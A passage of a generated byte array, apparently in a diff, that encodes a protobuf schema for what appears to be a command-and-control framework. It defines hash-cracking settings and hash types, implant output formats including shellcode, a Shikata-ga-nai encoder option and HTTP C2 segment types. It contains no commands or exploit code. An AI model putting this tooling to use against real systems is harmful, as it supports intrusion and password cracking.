0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, + 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, + 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, + 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, + 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, + 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, + 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, + 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, + 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, + 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, + 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, + 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, + 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, + 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, + 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, + 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, + 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, + 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, + 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, + 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, + 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, + 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, + 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, + 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, + 0x87, 0x01, 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, + 0x0a, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, + 0x6c, 0x65, 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, + 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, + 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, + 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, + 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, + 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, + 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, + 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, + 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, + 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, + 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, + 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, + 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, + 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x51, 0x0a, + 0x13, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x3a, 0x0a, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, + 0x76, 0x69, 0x64, 0x65, 0x72, 0x52, 0x09, 0x70, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, + 0x22, 0x72, 0x0a, 0x12, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, + 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, + 0x49, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, + 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, + 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x41, 0x50, 0x49, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6f, 0x72, 0x64, 0x22, 0x5a, 0x0a, 0x0a, 0x52, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, + 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, + 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, + 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, + 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, + 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, + 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, + 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, + 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, + 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, + 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, + 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, + 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x35, 0x0a, + 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, + 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, + 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, + 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, + 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, + 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, + 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, + 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, + 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, + 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, + 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, + 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, + 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, + 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, + 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, + 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, + 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, + 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, + 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, + 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, + 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, + 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, + 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, + 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, + 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, + 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, + 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, + 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, + 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, + 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, + 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, + 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, + 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, + 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, + 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, + 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, + 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, + 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, + 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, + 0x0b, 0x4a, 0x41, 